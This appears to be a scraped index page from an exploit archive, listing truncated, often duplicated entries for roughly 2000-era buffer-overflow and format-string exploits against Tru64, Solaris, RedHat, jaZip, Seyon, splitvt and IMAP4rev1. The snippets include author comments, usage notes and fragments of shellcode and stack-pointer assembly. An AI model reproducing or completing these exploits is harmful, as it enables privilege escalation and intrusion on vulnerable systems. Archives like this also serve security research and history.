Tru64 5 (su) Env Local Stack Overflow Exploit

Exploit for tru64 platform in category local exploits ============================================= Tru64 5 su Env Local Stack Overflow Exploit ============================================= / Copyright c 2000 ADM / / All Rights Reserved / / THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM / / T...

Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit

Exploit for solaris platform in category local exploits ======================================================= Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit ======================================================= include include / /usr/bin/write overflow proof of conecpt. Tested on...

jaZip 0.32-2 Local Buffer Overflow Exploit

Exploit for linux platform in category local exploits ========================================== jaZip 0.32-2 Local Buffer Overflow Exploit ========================================== !/usr/bin/perl jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000 || http://teleh0r.cjb.net/ Vulnerable:...

Solaris 2.62.7 - usrbinwrite Local Overflow

Solaris 2.62.7 - usrbinwrite Local Overflow include include / /usr/bin/write overflow proof of conecpt. Tested on Solaris 7 x86 Pablo Sor, Buenos Aires, Argentina. 01/2000 [email protected] usage: write-exp shelloffset retaddroffset default offset should work. / long getesp asm"movl %esp,%eax"; ch...

jaZip 0.32-2 - Local Buffer Overflow

!/usr/bin/perl jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000 || http://teleh0r.cjb.net/ Vulnerable: Turbolinux 6.0 teleh0r@localhost teleh0r$ rpm -q jaZip jaZip-0.32-2 teleh0r@localhost teleh0r$ ./jazip-exploit.pl Address: 0xbffff7ac bash $shellcode = Shellcode by: Taeho Oh "\xeb\x1f"....

Solaris 2.6/2.7 - '/usr/bin/write' Local Overflow

include include / /usr/bin/write overflow proof of conecpt. Tested on Solaris 7 x86 Pablo Sor, Buenos Aires, Argentina. 01/2000 [email protected] usage: write-exp shelloffset retaddroffset default offset should work. / long getesp asm"movl %esp,%eax"; char shell =...

jaZip 0.32-2 - Local Buffer Overflow

jaZip 0.32-2 - Local Buffer Overflow !/usr/bin/perl jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000 || http://teleh0r.cjb.net/ Vulnerable: Turbolinux 6.0 teleh0r@localhost teleh0r$ rpm -q jaZip jaZip-0.32-2 teleh0r@localhost teleh0r$ ./jazip-exploit.pl Address: 0xbffff7ac bash $shellcode...

RedHat 6.1 - man Local Overflow Local Privilege Escalation

RedHat 6.1 - man Local Overflow Local Privilege Escalation !/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - [email protected] $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"...

IMAP4rev1 10.190 - Authentication Stack Overflow

!/usr/bin/perl Successfully tested on IMAP4rev1 v10.190 Written by: [email protected] / anno 2000 This is nothing new - just wrote it for fun. $shellcode = "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80". "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89"...

IMAP4rev1 10.190 - Authentication Stack Overflow

IMAP4rev1 10.190 - Authentication Stack Overflow !/usr/bin/perl Successfully tested on IMAP4rev1 v10.190 Written by: [email protected] / anno 2000 This is nothing new - just wrote it for fun. $shellcode = "\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80"...

IMAP4rev1 10.190 Authentication Stack Overflow Exploit

Exploit for linux platform in category remote exploits ====================================================== IMAP4rev1 10.190 Authentication Stack Overflow Exploit ====================================================== !/usr/bin/perl Successfully tested on IMAP4rev1 v10.190 Written by:...

Redhat 6.1 man Local Exploit (egid 15)

Exploit for linux platform in category local exploits ====================================== Redhat 6.1 man Local Exploit egid 15 ====================================== !/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - email protected $shellcode =...

RedHat 6.1 - 'man' Local Overflow / Local Privilege Escalation

!/usr/bin/perl Redhat 6.1 man exploit - gives egid 15 Written just for fun - [email protected] $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b". "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"...

Debian 2.2 - splitvt Format String

Debian 2.2 - splitvt Format String // source: https://www.securityfocus.com/bid/2210/info splitvt is a VT100 window splitter, designed to allow the user two command line interfaces in one terminal window, originally written by Sam Lantinga. It is freely available, open source, and included with...

Solaris 78-beta - ARP Local Overflow

Solaris 78-beta - ARP Local Overflow / arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 / long getesp asm"movl %esp,%eax"...

Solaris 7 / 8-beta arp Local Overflow Exploit

Exploit for solaris platform in category local exploits ============================================= Solaris 7 / 8-beta arp Local Overflow Exploit ============================================= / arp overflow proof of concept by email protected shellcode originally written by Cheez Whiz. tested o...

Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux

Exploit for linux platform in category local exploits ===================================================== Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux ===================================================== !/usr/bin/perl c Copyright email protected / anno domani 2000 Seyon Exploit /...

Seyon 2.1 rev. 4b i586-Linux (RedHat 4.05.1) - Local Overflow

Seyon 2.1 rev. 4b i586-Linux RedHat 4.05.1 - Local Overflow !/usr/bin/perl c Copyright [email protected] / anno domani 2000 Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux Tested on: RedHat 4.0/5.1 Greets: scrippie, @HWA, grazer, mixter, pr0ix, s\ http://www.digit-labs.org/ ||...

Seyon 2.1 rev. 4b i586-Linux (RedHat 4.0/5.1) - Local Overflow

!/usr/bin/perl c Copyright [email protected] / anno domani 2000 Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux Tested on: RedHat 4.0/5.1 Greets: scrippie, @HWA, grazer, mixter, pr0ix, s\ http://www.digit-labs.org/ || http://teleh0r.cjb.net/ $shellcode = "\xeb\x1f". / jmp 0x1f / "\x5e". ...

Solaris 7/8-beta - ARP Local Overflow

/ arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 / long getesp asm"movl %esp,%eax"; int mainint ac, char av char shell ...